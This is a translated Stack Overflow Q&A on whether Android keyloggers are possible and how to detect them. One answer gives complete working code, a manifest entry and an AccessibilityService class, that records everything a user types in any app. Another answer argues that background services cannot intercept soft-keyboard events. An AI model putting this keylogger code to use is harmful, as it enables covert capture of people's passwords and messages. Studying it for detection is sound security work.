简介:我想在Android Security上创建一个POC,需要确定Android设备上是否有任何KeyLogger运行。如果它正在设备上运行或安装,那么请在我的Android应用程序中禁用它。
查询:
1。)这是否可以创建Android键盘记录器来拦截键盘事件并在后台作为服务运行?
2。)是否可以识别是否有任何后台进程处理键盘事件?
3.。)我可以通过我的应用程序代码停止任何其他后台服务(不属于我)吗?
如果有,请帮助我提供合适的链接。
答案 0 :(得分:15)
我知道这个问题已经有了接受的答案,但我不同意接受的答案! 这可以通过辅助功能API在android中完成 看看下面的程序:
它使用辅助功能API,并正确存储您在任何应用程序中键入的每个键击,这实际上是键盘记录器的作用!
编辑:我不确定TypeMachine使用什么,但您应该能够从辅助功能服务using this method获取文本。
例如,以下代码可用于获取新文本:
void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
List text = accessibilityEvent.getText();
CharSequence latestText = (CharSequence) text.get(0);
Log.i(MY_TAG, latestText.toString());
}
答案 1 :(得分:11)
作为对@ananth的回答的后续,下面是一个完整的代码示例,说明如何使用辅助功能来实现键盘记录程序。
但是,这需要权限才能将您的服务与系统绑定,并且用户还必须通过导航到设置> 可访问性> <<来显式打开您创建的服务。 em> {您的应用名称} (在Android设备上)。因此,如果您有邪恶的意图,那就祝好运。
第1步:将其粘贴到清单文件中。
<application>
...
<service android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>
第2步:为您的无障碍服务创建一个类。
public class MyAccessibilityService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
final int eventType = event.getEventType();
String eventText = null;
switch(eventType) {
/*
You can use catch other events like touch and focus
case AccessibilityEvent.TYPE_VIEW_CLICKED:
eventText = "Clicked: ";
break;
case AccessibilityEvent.TYPE_VIEW_FOCUSED:
eventText = "Focused: ";
break;
*/
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
eventText = "Typed: ";
break;
}
eventText = eventText + event.getText();
//print the typed text in the console. Or do anything you want here.
System.out.println("ACCESSIBILITY SERVICE : "+eventText);
}
@Override
public void onInterrupt() {
//whatever
}
@Override
public void onServiceConnected() {
//configure our Accessibility service
AccessibilityServiceInfo info=getServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
info.notificationTimeout = 100;
this.setServiceInfo(info);
}
}
就是这样。现在,用户在手机上的任何应用中键入的所有内容都将记录到控制台。您可以将上述类配置为仅在需要时侦听来自某些指定应用程序的按键。上面的类独立于您的MainActivity。安装您的应用后,该服务将立即注册。但是,同样,为了工作,这需要手动切换设置,如前所述。
Read这些文档详细解释了什么是辅助功能以及上面使用的每个类和方法的详细信息。
答案 2 :(得分:4)
经过一整天的研究,我得出了以下结论。
Android不允许您截取来自后台服务的默认软键盘输入。拦截这些事件的唯一方法是自定义键盘。
我总结如下:
在Android中,后台服务不支持键盘事件的日志记录。一些链接如下:
第1点: Google Android开发人员
由于软输入法可以使用多种创造性的输入文字方式,因此无法保证软键盘上的任何按键都会产生关键事件:这取决于IME的判断,事实上不鼓励发送此类事件。您永远不应该依赖于在软输入方法上接收任何键的KeyEvent。特别是,默认软件键盘永远不会向任何针对Jelly Bean或更高版本的应用程序发送任何键事件,并且只会将删除和返回键的某些按键发送给目标为Ice Cream Sandwich或更早版本的应用程序。
http://developer.android.com/reference/android/view/KeyEvent.html
Android Jelly Bean是:4.1到4.3.1 Android IceCream Sandwich:4.0
按下软输入法不需要触发此侦听器中的方法,实际上不鼓励这样做。对于任何针对Jelly Bean或更高版本的应用程序的任何键,默认的android键盘都不会触发这些键,并且只会将其传递给针对Ice Cream Sandwich或更早版本的应用程序。
http://developer.android.com/reference/android/text/method/KeyListener.html
第2点:堆栈溢出 KeyEvents只能由活动处理,因为它们是用户按键的界面,并且只有当它们位于前台时。即使在后台运行的服务也不会对用户输入做出反应。
Android - Listener for hard keys press at background
Is it possible to create an Android Service that listens for hardware key presses?
第3点: Romain Guy 为Google工作的Romain Guy(https://stackoverflow.com/users/298575/romain-guy)也证实了这一点 onKeyDown in a service? (Global Hot Keys)
第4点:其他一些参考:
Google android-developers组:https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI
只能使用Custom KeyBoard:get pressed key and throw another key in android
来完成如果您认为我遗漏了任何内容,请添加您的评论。